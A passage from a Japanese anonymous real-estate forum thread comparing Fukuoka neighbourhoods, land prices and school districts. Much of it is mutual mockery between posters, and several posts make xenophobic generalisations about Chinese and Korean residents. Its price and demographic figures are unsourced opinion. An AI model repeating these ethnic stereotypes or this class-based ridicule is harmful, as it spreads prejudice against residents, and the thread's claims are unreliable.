照葉憎しはわかったけどそういうスレではないってことなんですよ
適切なスレがあればですが移動されてはいかがでしょうか
11922
マンション掲示板さん
2023/12/26 12:25:37
11923
名無しさん
2023/12/26 12:41:22
>>11918 通りがかりさん
四行目と五行目の関連が意味不明ですよ。
お薬飲みましょうねおじいちゃん。
11924
名無しさん
2023/12/26 12:43:44
>>11921 通りがかりさん
本当は棲家が他にあるんですよ。
特定の校区が持ち上げられるのが
棲家と同じくらい怖くて
ここにもいつかないと気が済まないお祖父様。
一ヶ所に収まっていてほしいんですけどね…
11925
検討者さん
2023/12/26 13:35:03
>>11915 マンション検討中さん
照葉はちょっと無理がありすぎる価格設定ですよね。
販売サイトをずっと眺めていますが、まったく売れる気配がありません。
利便性では新宮や和白にかなわないのですから、もう少し現実的な価格に寄せた方がいいのにと思います。
11926
周辺住民さん
2023/12/26 14:49:56
照葉の戸建ては、周辺が新しい(古屋がない)し、「ルール」が細かく決まられているので統一感があって洗練されたイメージです
和白・新宮もいい場所ですが、「立派な戸建てでも、周辺の住居が古いと見栄えしない」と親族に言われ、なるほどと思いました。
電線がない、道路が広い、公園が多い等他のエリアには無い部分で価値があるのかもしれませんね
勿論、それを価値と考えない人には向かないタウンです
11927
マンコミュファンさん
2023/12/26 14:58:00
>>11926 周辺住民さん
その通りです。価値と考える人が少ないから売れ残ります。
11928
評判気になるさん
2023/12/26 14:59:54
照葉の販売価格が下がってほしいって
願望を繰り返されても
せめて学区と絡めて話さないと
販売価格が高いことで、校区にどのような影響があるとお考えでしょうか
11929
周辺住民さん
2023/12/26 15:17:05
11930
マンション掲示板さん
2023/12/26 15:21:59
>>11929 周辺住民さん
戸建は人気だけどマンションは不人気エリアって事ですね。
11931
マンション比較中さん
2023/12/26 15:32:17
11932
マンション比較中さん
2023/12/26 15:32:50
照葉の戸建てはオーシャンプレイスとして、まだ分譲中ですよ?
11933
マンション検討中さん
2023/12/26 15:34:14
11934
マンション検討中さん
2023/12/26 16:25:41
>>11928 評判気になるさん
坪30万円が相場の照葉の土地を60坪3000万円で買わされるわけですからね。
しかも、建築条件付きのため上物も相当な割高です。
不便なエリアで高値づかみすると出口を描きにくくなります。投資としては明らかな失敗と言えるでしょう。
11935
通りがかりさん
2023/12/26 16:35:52
11936
評判気になるさん
2023/12/26 16:36:49
>>11934
理解が悪くて驚いてます
「学区」への影響について聞いてます
スレの趣旨から逸脱しています
見返してみてください
ルールを守れず個人的な願望を連投しています
11937
マンション比較中さん
2023/12/26 16:41:53
>>11936 評判気になるさん
子供が、自分が住めない場所を匿名掲示板で悪口書き続ける人生にならないためには、どんな「学区」がいいのでしょうか?
11938
マンション比較中さん
2023/12/26 16:58:12
>>11934 マンション検討中さん
家賃3万円しか払えない人が、投資について語るんですか?
11939
評判気になるさん
2023/12/26 16:58:37
>>11937
ルールを守ることはどの学区でも教わるはずですが、不思議ですね
よっぽど価格について不満があるようですが学区について検討されていないことは確かです
11940
口コミ知りたいさん
2023/12/26 16:58:57
11941
eマンションさん
2023/12/26 16:59:39
>>11934 マンション検討中さん
照葉はハウスメーカーの競争がないからそうなります
建築条件付きでは相見積もりも取れませんからね
11942
マンション比較中さん
2023/12/26 17:05:14
>>11940 口コミ知りたいさん
・死刑が執行される福岡拘置所の近くに住むことに何も思わない。
・中学受験するお金はない。
・県立高校、九大、公務員がエリート中のエリートだと思っている。
・自分が住む第6学区が一番だと盲信している。
・中央区 には絶対に勝てないが、他の区を見下している。
・都合が悪いことは、すべて貧乏人や他区民の意見だと思いたい。
早良区民の特徴であってますか??
11943
マンション掲示板さん
2023/12/26 17:20:56
>>11942 マンション比較中さん
特定の地域の人を差別もしくは攻撃してますか?
11944
マンション掲示板さん
2023/12/26 18:52:20
11945
検討中さん
2023/12/26 19:10:40
>>11913 口コミ知りたいさん
和白は落ち着いた雰囲気で暮らしやすく人気が高まっていますよね。
地価は照葉を大きく上回っており、伸びしろも大きそうです。
11946
eマンションさん
2023/12/26 19:20:00
>>11926 周辺住民さん
10から5年くらい前は福津や新宮の駅近の大規模戸建て分譲が盛んで、値段も当時の照葉のマンションより高いけどちゃんとしたハウスメーカーが扱ってたしかなり売れてたね
今は手頃で便利な場所で大規模宅地分譲地ないよね
でも、当時振り返ると、マンションの値段は照葉も新宮もほぼ同じだったのに、戸建ての値段だけ照葉の方が異常に高かったので本当に不思議だった
土地の広さ差し引いても1,5倍位の値段つけてるなと思った
11947
eマンションさん
2023/12/26 19:35:32
>>11938 マンション比較中さん
なんで決めつけてまでマウント取りだがるんですか?
11948
契約済みさん
2023/12/26 21:23:23
>>11946 eマンションさん
その価値があるからでしょう
売れない価格って意味がないので
11949
eマンションさん
2023/12/26 21:30:42
>>11948 契約済みさん
価値があれば新築も中古も売れ残らないから。
11950
通りがかりさん
2023/12/26 22:26:53
>>11923 名無しさん
いや、意味わかるよ。あなた、住民の人に質問したいさんですか?もう荒らすのをやめて欲しい。
11951
評判気になるさん
2023/12/27 01:33:38
東区の中でわざわざマウントを取りたいモンスターが現れた。どうする?
無視する
対抗する
逃げる
どれ?
11952
購入経験者さん
2023/12/27 02:05:55
>>11949 eマンションさん
新築で高値づかみした人たちが、そのままの価格で中古市場に売りに出しているので、全く売れない状況になっているのですよね。
11953
マンコミュファンさん
2023/12/27 05:53:27
11954
通りがかりさん
2023/12/27 06:51:48
11955
マンション検討中さん
2023/12/27 07:51:37
ここに限らずマンコミュで言い合い煽り合いに頭使うなら現実で頭使った方がいいぞマジで。
11956
マンコミュファンさん
2023/12/27 07:55:37
11957
評判気になるさん
2023/12/27 08:28:20
学区云々の前に執着と怨念が凄いな
こんな人実際多いの?
子供に悪影響
11958
マンション掲示板さん
2023/12/27 08:35:34
>>11957 評判気になるさん
照葉の住民に質問したい人さんが荒らしすぎたね。
11959
匿名さん
2023/12/27 08:46:58
11960
eマンションさん
2023/12/27 09:14:49
>>11957 評判気になるさん
シンプルに、家賃3万円しか払えない人が、家賃9万円は払わないと住めない照葉に粘着してますよね?
11961
マンション検討中さん
2023/12/27 09:25:53
もしかして年末年始もこの話をするの?
家族がいない人ってほんま暇やな…
11962
通りがかりさん
2023/12/27 09:48:21
11963
eマンションさん
2023/12/27 10:17:05
家賃3万円のアパートから、照葉の悪口を書き続ける人生って、楽しいのかな?
11964
マンション検討中さん
2023/12/27 10:44:04
>>11963 eマンションさん
そうやって同様に卑下して照葉住民としての民度を下げてるのわからないの?それとも照葉のなりすまし?
11965
評判気になるさん
2023/12/27 10:50:46
>>11964 マンション検討中さん
申し訳ありません。家賃滞納者ですが照葉に住み
たいんです。
11966
eマンションさん
2023/12/27 10:59:20
>>11964 マンション検討中さん
11963ですが、照葉住民ではないし、なりすます意図もありません。
執拗に照葉叩きしてる人が哀れだなと思っただけですよ?
11967
eマンションさん
2023/12/27 11:01:44
照葉が気になるなら、住んでみたらいいし、
気にならないなら、悪口を書き続ける必要がないですよね?
気になるのにお金がなくて住めないから、粘着してるとしか思えないのですが?
11968
評判気になるさん
2023/12/27 11:03:28
>>11966 eマンションさん
哀れなのはわかりますがコメントで言い返すあなたも照葉の住民の価値を落としてますし、相手もあなたの反応を楽しんでるように感じますよ。
あくまでここは学区スレなので場違いですし、荒らし行為に反応するのも荒らしです。
11969
eマンションさん
2023/12/27 11:12:24
学区の話をすると、中学受験の人気の上昇と、公立中県立高校を避けたがる家庭が増えていることを考えると、
英進館天神本館と久留米附設に通いやすい、西鉄沿線の薬院、平尾、高宮あたりがいいのではないでしょうか?
同時に、百道浜などは修猷館高校に行かせたい古い考えの層からの根強い人気はあるかと思います。
照葉は、附設への通学は大変そうですが、福岡高校に行かせたい家庭が多いのでしょうか?
11970
マンション検討中さん
2023/12/27 11:15:41
>>11969 eマンションさん
福岡高校への進学率なら香椎第ニがおすすめです。
11971
eマンションさん
2023/12/27 11:17:17
>>11970 マンション検討中さん
進学率って公表されてるんですか?
11972
口コミ知りたいさん
2023/12/27 11:21:43
>>11968 評判気になるさん
それ(場違い、荒らし)はレスしてるあなたご自身もそうだとわかってますか?
11973
検討板ユーザーさん
2023/12/27 11:24:03
11974
検討板ユーザーさん
2023/12/27 11:30:29
>>11952 購入経験者さん
照葉の戸建が異常に高額なのはイメージ料です。
見て分かる通り、インターネット掲示板での活動も盛んです。
11975
口コミ知りたいさん
2023/12/27 11:35:23
>>11972 口コミ知りたいさん
場違い,荒らしであるとわかった上でわざわざ貴方に指摘してるのも理解しています。
それほどあなた方のやりとりが見苦しく感じています。この話は以上です。
11976
ご近所さん
2023/12/27 12:22:24
11977
eマンションさん
2023/12/27 12:36:35
照葉や百道浜の話で盛り上がるも、住民は一人もおらず、
家賃3万円の安アパートの住民しかここにはいないのであった、、、
11978
名無しさん
2023/12/27 12:50:14
イメージ料というか、イメージ宣伝料でしょうね
ネット書き込みもそうですが、洗練されたイメージをことさらに強調して、
ボッタクリに近い額で売っていますが、中韓がかなり増えすぎており軌道修正が必要だとみられます
11979
名無しさん
2023/12/27 12:51:06
>>11974 検討板ユーザーさん
イメージ料というか、イメージ宣伝料でしょうね
ネット書き込みもそうですが、洗練されたイメージをことさらに強調して、
ボッタクリに近い額で売っていますが、中韓がかなり増えすぎており軌道修正が必要だとみられます
11980
マンコミュファンさん
2023/12/27 12:53:31
>>11977 eマンションさん
家賃3万円でGMの近くに住んでいるのかな
11981
通りがかりさん
2023/12/27 12:59:54
特定の地域の不満ばかり書いている時点で、前向きに学区検討できる段階にないのでしょう
予算の許す範囲で最善を探す作業に、ひたすらネガティブな書き込みを続ける理由はない
つまり問題は特定の地域にあるのではなく、責任転嫁だね
11982
マンション掲示板さん
2023/12/27 13:02:26
>>11980 マンコミュファンさん
家賃3万にしかマウント取れないのも哀れだ。
11983
通りがかりさん
2023/12/27 13:44:41
>>11966 eマンションさん
ホントは照葉在住のyoutuberでしょ?
11984
検討板ユーザーさん
2023/12/27 16:44:50
お年を召しているからまず否定するところがスタート。頑固ですからね。
不自然なのは数字にもちゃんと現れている。
実際ここにいる人数ってそんなにいない。
11985
評判気になるさん
2023/12/27 17:00:58
11986
評判気になるさん
2023/12/27 18:28:44
>>11970 マンション検討中さん
ここ数年は宗像のある中学が多い
香椎は2番手くらいかな
照葉からは少ない
11987
匿名さん
2023/12/27 23:35:58
>>11977 eマンションさん
照葉と百道浜では地価が5~6倍は違いますよ。
照葉とよく比較されるのは新宮や福津です。
11988
名無しさん
2023/12/28 06:07:58
>>11985 評判気になるさん
住民の人に質問したいさんは、照葉上げの人ではなく、大濠上げの人じゃないの?
11989
マンコミュファンさん
2023/12/28 06:20:30
>>11988 名無しさん
早良区下げて東区上げだね、中央区 も家賃3万にはマウント取る。中央区 早良区の分譲購入出来なくて照葉の分譲に妥協したんじゃないかな。
11990
検討板ユーザーさん
2023/12/28 07:18:56
>>11989 マンコミュファンさん
いずれにせよ厄介な人だね。事実を装いながら感想を垂れ流している。困ったもんだ。
11991
名無しさん
2023/12/28 08:10:39
11992
名無しさん
2023/12/28 08:13:18
今は体罰がなくなって、暴れる生徒がやりたい放題、公立中の学級崩壊がひどいそうです。
百道中のいじめについての書き込みもずっと続いてますし、中学受験させないのは虐待に近いかもしれませんね?
11993
通りがかりさん
2023/12/28 08:17:15
>>11991 名無しさん
前のレスで西新は照葉の5倍近く地価は
高かった。照葉と福津が比較されるから知らん。
11994
匿名さん
2023/12/28 08:18:37
>>11989 マンコミュファンさん
福岡でマンションしか選択ができない時点で既に人生妥協してると思うんだが
そこさえも背伸びしてるんだろうな
11995
通りがかりさん
2023/12/28 08:23:45
11996
マンコミュファンさん
2023/12/28 08:25:10
11997
通りがかりさん
2023/12/28 08:36:09
11998
匿名さん
2023/12/28 08:39:48
11999
マンション掲示板さん
2023/12/28 11:28:24
>>11987 匿名さん
私なら照葉よりは和白ですね。
千早は価格が高くなりすぎて厳しいです。
12000
口コミ知りたいさん
2023/12/28 22:19:45
>>11979 名無しさん
外国人比率一割だってね
熱心な中国人がかなり引っ越しできてるみたい西日本新聞のウェブに記事が出てたわ
12001
評判気になるさん
2023/12/28 22:39:00
>>12000 口コミ知りたいさん
様々な差別意識が特に高い福岡では確かに厳しいですね。
所得学歴地域国籍
差別意識が高い人には無理ですね
12002
住民
2023/12/28 23:04:43
>>12001 評判気になるさん
差別とかじゃなく中国の方は管理費滞納してます。
12003
マンション比較中さん
2023/12/28 23:39:18
>>11999 マンション掲示板さん
この地区のヒエラルキーはこんな感じです。
千早≒香椎>>>和白≒名島>新宮>照葉>古賀
12004
eマンションさん
2023/12/29 04:38:40
>>12001 評判気になるさん
匿名掲示板でしか言えない個人の理解はやめておいた方が良いですよ。「差別意識が特に高い」実例でもあるのでしょうか?
12005
マンション掲示板さん
2023/12/29 04:41:58
>>12003 マンション比較中さん
あなたの感想をもとに、ヒエラルキーと言われてもね。
12006
検討板ユーザーさん
2023/12/29 06:12:13
12007
マンション掲示板さん
2023/12/29 07:48:30
>>12003 マンション比較中さん
それってあなたの感想ですよね?w
12008
通りがかりさん
2023/12/29 08:10:41
>>12000 口コミ知りたいさん
中国人がやっぱり多く住んでるんだ。
12009
マンション検討中さん
2023/12/29 10:37:43
12010
マンション掲示板さん
2023/12/29 10:53:24
グローバル化が進んでいるという見方をしてみませんか? 因みに中国、インドはアヘン戦争まではGDPで世界1位、2位であって、最近はもともとの位置に戻りつつある途上、という見方も出来るらしい。
12011
マンコミュファンさん
2023/12/29 10:55:45
12012
通りがかりさん
2023/12/29 11:39:56
>>12011
その人口あたりの割合のデータってあるの?
風説の流布的な、虚偽の記載にならないように教えて
12013
eマンションさん
2023/12/29 11:45:52
>>12012 通りがかりさん
西日本新聞に外人が一割以上と記載ありましたよ。
12014
eマンションさん
2023/12/29 12:01:44
照葉にずっと粘着してる人って、やっぱり家賃3万円の安アパートの住民なのかな??
12015
評判気になるさん
2023/12/29 12:29:58
>>12013 eマンションさん
ニュースになるぐらいに顕著な増加ペースですか
ね。売れ残るよりは中国の方にでも購入頂いた方がいいんでしょう。
12016
検討板ユーザーさん
2023/12/29 13:06:45
グローバル化って記載があったけど
福岡市の外国籍人口の伸び率149.9%で日本一なんですね
12017
匿名さん
2023/12/29 13:48:29
>>12015 評判気になるさん
買えない外国人がたくさん住んでる所は非正規とかも多そうですね。
治安的にはどうなのでしょうか?
12018
通りがかりさん
2023/12/29 14:12:22
>>12016 検討板ユーザーさん
都会に比べて福岡は安いから住みやすいんだよ。
日本人も同じだけど
同じ穴のムジナ
低いレベルで下を探して安心を得る地域性
12019
検討板ユーザーさん
2023/12/29 14:39:41
>>12018
グローバル化、人口が増えている地域について
ここでは残念ながら排他的な書き込みが目立つので、そうなのかも
ヒエラルキーとか出てくるのも驚いた
12020
eマンションさん
2023/12/29 14:45:19
>>12019 検討板ユーザーさん
ヒエラルキーの為に家賃3万に限定する地域
12021
評判気になるさん
2023/12/29 14:54:10
>>12019 検討板ユーザーさん
上を見ずに下を見つけて執拗にこき下ろし、あわよくば平気で他人に乗っかろうとする神経が育まれる学区はどこでしょうか?
12022
マンション掲示板さん
2023/12/29 15:01:33
12023
eマンションさん
2023/12/29 15:37:17
>>12019 検討板ユーザーさん
一部の投稿者がおかしいだけですね。気にせず、無視しましょう。
12024
検討板ユーザーさん
2023/12/29 15:57:33
>>12003 マンション比較中さん
貝塚の格付けはどのあたりになりますか?
12025
検討板ユーザーさん
2023/12/29 16:01:58
>>12023
そうですね
私と同じ名前にして格付けを続けたい方もいらっしゃるようです
12026
名無しさん
2023/12/29 16:15:10
12027
eマンションさん
2023/12/30 18:00:15
・死刑が執行される百道の福岡拘置所の近くに住むことに何も思わない。
・中学受験するお金はない。
・県立高校、九大、公務員がエリート中のエリートだと思っている。
・中央区 早良区という謎のくくりを使う。(中央区 民は一緒にされたくない)
・早良区のマンションが人気とアピールする割に、大量に売れ残っている。
・家賃3万円で住むことができない東区照葉が悪くて仕方ない。
早良区民の特徴であってますか??
12028
マンション検討中さん
2023/12/30 18:18:15
12029
匿名さん
2023/12/30 19:11:07
12030
通りがかりさん
2023/12/30 20:43:34
>>12027 eマンションさん
特定の地区を攻撃または差別した言動として捉えます
12031
通りがかりさん
2023/12/30 22:12:58
>>12030 通りがかりさん
ここ見てると他人の足を引っ張るのばかりだよ。
お互いにね
もっと差別的に醜いのもある
12032
通りがかりさん
2023/12/30 23:01:03
しょーもないスレッドですね。
醜い大人の集まり。子供がかわいそう。
12033
マンコミュファンさん
2023/12/30 23:48:39
>>12027 eマンションさん
あなた、今のままだと、子供に尊敬されませんよ。
12034
検討板ユーザーさん
2023/12/30 23:51:07
>>12027 eマンションさん
また、「大量に」っていう曖昧な感想を投稿している。いい加減にして欲しい。
12035
マンション検討中さん
2023/12/31 02:28:33
照葉の物件を買ってしまった人が、失敗だったかもしれないと気づき、ほかを貶めることで安心感を得ようとしているようですね
12036
購入経験者さん
2023/12/31 03:15:07
百道浜だと子供を西南学院小学校にも福岡インターナショナルスクールにも百地小学校にも進学させることが出来ます。誰が文句言おうと百道浜が最強でどげんですか??
12037
検討板ユーザーさん
2023/12/31 07:40:56
>>12036 購入経験者さん
百道浜はホンモノ
百道は乗っかりたい人
が多いイメージ
12038
匿名さん
2023/12/31 08:11:38
>>12036 購入経験者さん
百道浜だと、百道とか西新みたいに家賃3万円では住めないですしね?
12039
マンション掲示板さん
2023/12/31 08:44:26
12040
口コミ知りたいさん
2023/12/31 08:50:48
>>12039 マンション掲示板さん
それは言い過ぎ、照葉くらいでしょ?
12041
通りがかりさん
2023/12/31 08:56:00
>>12040 口コミ知りたいさん
照葉はもういい。公示地価もマンション価格も安い。
12042
マンション掲示板さん
2023/12/31 08:58:08
12043
評判気になるさん
2023/12/31 09:06:28
>>12042 マンション掲示板さん
いいよね、若い人が住んでいることで街に活気あるもんね。
12044
検討板ユーザーさん
2023/12/31 09:06:46
>>12042 マンション掲示板さん
分譲賃貸は高すぎて姪浜あたりにする人多い。
12045
口コミ知りたいさん
2023/12/31 09:07:43
12046
通りがかりさん
2023/12/31 09:37:11
>>12037 検討板ユーザーさん
百道浜は地下鉄遠いのによくここまで発展したなと。人気の理由は何?
百道は戸建てに住んでる人は本物。西新も。もう土地がないから今から戸建てはかなり無理。
個人的には空港線一択で西新が最強かな。
12047
口コミ知りたいさん
2023/12/31 09:43:17
12048
マンコミュファンさん
2023/12/31 09:49:43
>>12047 口コミ知りたいさん
そうだね。中央区 は間違いないんだけど、もう現実離れしてる価格で手が出ない。
西新はファミリー・大学生・単身・年配と幅広く混在しているからずっと活気があるんだよね。
12049
通りがかりさん
2023/12/31 09:52:00
ここのスレの煩悩をかき集めて年越しと一緒に除いたら何も残らなさそう
12050
マンション掲示板さん
2023/12/31 09:57:41
>>12049 通りがかりさん
煩悩よりも人気エリアへの妬みと執着だな。
12051
eマンションさん
2023/12/31 10:02:34
>>12050 マンション掲示板さん
煩悩そのものが私にレスしないでください
12052
匿名さん
2023/12/31 10:04:07
>>12051 eマンションさん
あなたみたいな人がこのスレを面倒くさくしてるの気付けば?
12053
口コミ知りたいさん
2023/12/31 10:23:15
12054
マンション掲示板さん
2023/12/31 10:45:53
12055
口コミ知りたいさん
2023/12/31 11:11:38
12056
マンコミュファンさん
2023/12/31 11:14:30
12057
eマンションさん
2023/12/31 11:22:01
>>12046 通りがかりさん
百道浜の戸建てゾーンならともかく、百道や西新のビルの影の戸建てとか恥ずかしくて住めなくないですか?
ド根性大根みたい。
12058
eマンションさん
2023/12/31 11:24:53
西新や百道に限らず、ビルの合間にある戸建ては、地域の発展を阻害する土着老◯感がすごいですよね?
12059
口コミ知りたいさん
2023/12/31 11:25:21
12060
マンコミュファンさん
2023/12/31 11:30:39
>>12057 eマンションさん
西新にも戸建てゾーンがあるんですよ。あなたが知らないだけ。
12061
eマンションさん
2023/12/31 11:30:41
>>12059 口コミ知りたいさん
空港線は地盤が悪く災害に弱いところが多いので、中央区 の西鉄七隈線のほうがいいのでは?
12062
eマンションさん
2023/12/31 11:32:40
>>12060 マンコミュファンさん
すぐ横にマンションが建つのは、戸建てゾーンとは呼べないんですよ?
西新二丁目辺りには、マンション建設反対と張り紙しまくって見苦しい戸建てがたくさんあるゾーンがありますね?
12063
評判気になるさん
2023/12/31 11:32:43
12064
マンション検討中さん
2023/12/31 11:33:47
>>12054 マンション掲示板さん
家賃3万のアパートにしか照葉は優位性ないんだよ。
12065
eマンションさん
2023/12/31 11:36:28
>>12062 eマンションさん
調べると百道浜の戸建てが集まる場所も西新と同じく「第2種中高層住居専用地域」なので、戸建てのすぐ横にマンション建てられても文句言えない場所のようですね。
マンションから見下されながら生活する戸建てって、楽しいですか?
12066
eマンションさん
2023/12/31 11:37:36
>>12064 マンション検討中さん
福岡市内で家賃3万円の安アパートがない学区は、百道浜と照葉だけですよ?
12067
eマンションさん
2023/12/31 11:39:53
目黒や世田谷といった高級戸建てが集まるところは、「第一種低層住居専用地域」に指定されてるので、戸建てを見下ろすようなマンションは建設不可になっています。
福岡市内で戸建てにこだわるのは、物を知らない〇〇なんでしょうね?
12068
マンション掲示板さん
2023/12/31 11:39:55
>>12066 eマンションさん
共通点は埋立地ってだけで、地価や民度は全く違う。
12069
名無しさん
2023/12/31 11:45:07
>>12035 マンション検討中さん
古賀には勝ってる
千早≒香椎>>>和白≒名島>新宮>照葉>古賀
12070
eマンションさん
2023/12/31 11:48:58
>>12067 eマンションさん
調べてみると、百道浜4丁目、地行浜1丁目、香椎照葉の一部の戸建てゾーンは、福岡市主導で高さ10mまでなどの、建築協定というものがあるようです。
都市計画法によるものとは違うようですが、法的な効力がどこまであるんでしょうか?
12071
検討板ユーザーさん
2023/12/31 11:54:57
12072
マンション掲示板さん
2023/12/31 11:59:46
>>12071 検討板ユーザーさん
賃貸が多い所は自分のお宅が良ければルール無視とか普通にある。ベランダに平気で布団干してるとかで民度はだいたい図れる
他人の気持ちを考えない人が多い
12074
評判気になるさん
2023/12/31 12:06:56
12075
eマンションさん
2023/12/31 12:07:27
12076
名無しさん
2023/12/31 12:10:09
12077
評判気になるさん
2023/12/31 12:12:20
>>12074 評判気になるさん
九州の田舎から福岡に出て来て周りに知り合いも気にする人も誰もいない駅前とかに布団干す人多いですね
12078
マンション検討中さん
2023/12/31 12:14:31
12079
通りがかりさん
2023/12/31 12:16:09
>>12069 名無しさん
今日は照葉のトライアルに中国の団体が買い物来てた
12080
匿名さん
2023/12/31 12:19:52
12081
通りがかりさん
2023/12/31 12:22:17
>>12070 eマンションさん
百道浜などは冬に風が強くて寒いイメージがあります。実際のところどうなんでしょう?
地下鉄の駅にも徒歩で行くにはしんどい距離で、バスがメインの交通手段だと考えると、修猷、城南、中央と幅広い選択肢がある友泉校区と交通の利便性では大差ない気がします。土地代も安いのでマンション、戸建ても求めやすく、友泉校区は良い感じがします。どうでもいい話ですが、今田美桜さんも友泉出身らしいです。
12082
eマンションさん
2023/12/31 12:56:41
家賃3万円の安アパートに住んで中国人が!と騒いでいる人と、家賃9万円払える中国出身の人、
どっちが民度が高いんでしょうね?
12083
マンコミュファンさん
2023/12/31 13:44:13
12084
匿名さん
2023/12/31 13:48:19
12085
検討板ユーザーさん
2023/12/31 13:56:48
>>12081 通りがかりさん
故KANさんも友泉中ですね。
中央区 ながら中流層でも頑張れば手が届く価格帯で、戸建の割合が非常に高いエリアです。
小笹や輝国になると地価が上がって団地の割合が大きくなります。
12086
マンション掲示板さん
2023/12/31 14:15:32
>>12083 マンコミュファンさん
そこを買えない層がここに粘着してるんだよ
12087
口コミ知りたいさん
2023/12/31 14:24:04
12088
通りがかりさん
2023/12/31 14:28:03
>>12087 口コミ知りたいさん
福岡自体が低辺みたいなものだから安心していいよ
九州で王様
12089
検討板ユーザーさん
2023/12/31 14:33:50
12090
マンション検討中さん
2023/12/31 15:51:07
>>12069 名無しさん
香住ヶ丘はどうでしょう?
もう古い住宅地という感じで千早香椎に負けますかね?
12091
eマンションさん
2023/12/31 15:54:47
ここを見ない若しくは粘着しない親の子が高学歴狙えると思っても間違いないよ。
12092
評判気になるさん
2023/12/31 15:58:20
>>12091 eマンションさん
あと家賃三万にマウント取りだがる照葉
12093
名無しさん
2023/12/31 16:02:30
12094
名無しさん
2023/12/31 16:03:26
12095
口コミ知りたいさん
2023/12/31 16:06:18
>>12092 評判気になるさん
経済力で勝てないから、国籍でマウントとろうとするのは、低学歴っぽいですよ?ww
12096
口コミ知りたいさん
2023/12/31 16:07:52
12097
名無しさん
2023/12/31 16:28:56
>>12090 マンション検討中さん
東区で選択なら千早か香椎ですね。
12098
坪単価比較中さん
2023/12/31 16:45:47
>>12097 名無しさん
香椎駅周辺は土地区画整理で非常にきれいな街に生まれ変わましたよね。
千早は福岡市の副都心として大きな発展を遂げています。
千早≒香椎>>>香住ヶ丘>和白≒名島>新宮>照葉>古賀
12099
名無しさん
2023/12/31 17:05:50
12100
口コミ知りたいさん
2023/12/31 17:40:20
>>12098 坪単価比較中さん
千早の家賃3万円の安アパート住民ががんばってるね?
12101
評判気になるさん
2023/12/31 17:41:36
12102
名無しさん
2023/12/31 17:49:07
12103
匿名さん
2023/12/31 18:52:12
12104
名無しさん
2023/12/31 19:18:27
12105
マンション検討中さん
2023/12/31 19:24:12
>>12104 名無しさん
早良区の次は中央区 の賃貸3万にマウントか?照葉は東区でも千早、香椎にも相手にされてないみたいだが。
12106
マンコミュファンさん
2023/12/31 21:24:21
>>12097 名無しさん
東区なのに駅近の集合住宅ってある?
中央区 ならまだしも分かる
福岡なのに賃貸住民か戸建てが買えない庶民は福岡市民諦めた方が身分相応だと思うよ
12107
通りがかりさん
2023/12/31 21:27:15
12108
匿名さん
2023/12/31 21:35:29
>>12107 通りがかりさん
福岡のショボイ電車網に依存してもねぇ
福岡都会に見える?
12109
マンション検討中さん
2023/12/31 21:47:14
>>12108 匿名さん
普通は高校生で飽きるんだけど九の地方出身者や東京に出れなかった人には大都会なんだと思うよ。
普通の神経で九州で地価とか恥ずかしくて言えないよ。
12110
評判気になるさん
2023/12/31 21:59:27
12111
口コミ知りたいさん
2023/12/31 22:00:48
12112
評判気になるさん
2023/12/31 22:03:40
12113
マンション検討中さん
2023/12/31 22:08:38
12114
口コミ知りたいさん
2023/12/31 22:09:59
>>12112 評判気になるさん
照葉以外でも言ってるじゃん
過去のレス見てきたら
同じ穴の狢と言われてるのが分からんのか。
12115
匿名さん
2023/12/31 22:14:51
>>12114 口コミ知りたいさん
世界的大都市に対してもスタンスがブレずにマウントとろうとする福岡の地域性はある意味凄いよな。
無知もここまでくると立派。
ある意味貫き通して欲しい
12116
検討板ユーザーさん
2023/12/31 22:20:56
>>12115 匿名さん
照葉を上海とは凄い。中国化は進んでいるんだろう。
12117
評判気になるさん
2023/12/31 22:24:43
>>12116 検討板ユーザーさん
福岡は東京から見たら朝鮮半島と何ら変わらないと思われているのを知らないのだろう。
知らないのも幸せ
12118
名無しさん
2023/12/31 22:29:33
12119
マンコミュファンさん
2023/12/31 22:30:12
12120
マンション掲示板さん
2023/12/31 22:31:49
12121
口コミ知りたいさん
2023/12/31 22:56:24
>>12120 マンション掲示板さん
世間を知ってる郊外住民と九州の中で他人に乗っかりたいガラパゴス住民
12122
口コミ知りたいさん
2023/12/31 23:00:34
12123
購入経験者さん
2024/01/01 02:01:14
>>12106 マンコミュファンさん
東京23区内でも7000万円程度で3階建てペンシルハウスが売られていますよ。
大濠だと土地30坪だけで当たり前に1億円を超えます。
12124
検討板ユーザーさん
2024/01/01 20:21:28
12125
匿名さん
2024/01/01 21:34:05
12126
匿名さん
2024/01/01 22:21:24
>>12117 評判気になるさん
こういう根も葉もないことは言わない方が良いよ。あなたの周りの友達のレベルの低い話にすぎないことだと思っていますが、出版社の言であれば是非どこのかを教えて欲しい。
12127
匿名さん
2024/01/01 23:47:29
>>12126 匿名さん
何故、便所の落書きでそこにだけ反論したの?
他は良いの?
12128
マンション掲示板さん
2024/01/02 00:26:52
どうでもいい話で1日で100レスか。
正月だねえ。
子や孫も帰ってこないかそりゃ。あ、その前にそんなもん出来ない人生だったかな?
12129
マンション掲示板さん
2024/01/02 00:29:16
>>12083 マンコミュファンさん
おじいちゃん、設問に合った答えを返しましょうね。
しかもまた一人で二つも参考になる押しちゃって。
12130
通りがかりさん
2024/01/02 01:14:44
>>12129 マンション掲示板さん
おじいちゃん 餅を喉に詰まらせたか。早く病院行かなきゃ。
12131
マンコミュファンさん
2024/01/02 01:20:10
よそでやってることの繰り返しか。余程親族から見放されて幸薄い生き方してんだな。
12132
選択してください
2024/01/02 01:34:00
マジレスすると、
「なんでこの場所がこんなに子供の数増えてるの?」って場所は全国にある。
九州内でも他にある。
鹿児島市立中山小学校は、今全国トップ10に入るマンモス校。
バスどころか車がないと生活できない場所なのに、恐ろしい勢いで戸建てが建った影響。
ニュータウンとして開発された訳でも無く、普通に分譲地がいくらでも作れたから取り立てた開発をしているわけでもない。
バスが使えたり、市電が使えたりする沿線の物件は買えないけど…って家庭が集中している。
一応校区内で日常の買い物は出来るけど、大きい買い物は車で市街地かイオンモールに行くしかない場所。
でも、持ち上がりの谷山北中は、その小学校の生徒数に対してまだそこまで膨れ上がっていない。
つまり、一定数ラ・サールや志学館、附属、玉龍等に、この価格帯でも行かせてる家庭がいる。
高校入試も、鶴丸や甲南に通うのはしんどいけど、甲南は多い。
照葉ってそれくらいの感覚の住宅地なんだと思うよ。
外国人が本当に多いとしても、島内のコミュニティもしっかりしているから訳の分からない文化になってないし、
多くは無いけど私立に行かせるし、
多分だけど中受しなくても、
香住丘や私立特進辺りから駅弁にでも行ってくれたら儲けもの、
あとは「健全に育って自立してくれたらいい」(校区選びって根本はこれだと思う)
これが一般的な考え方だと思う。
御三家以上に「こだわりすぎ」な時点で
一般的な価値観とも違いすぎる。
首都圏でだって、御三家や新御三家、早慶附属に受かるのは本当に勝ち組で、
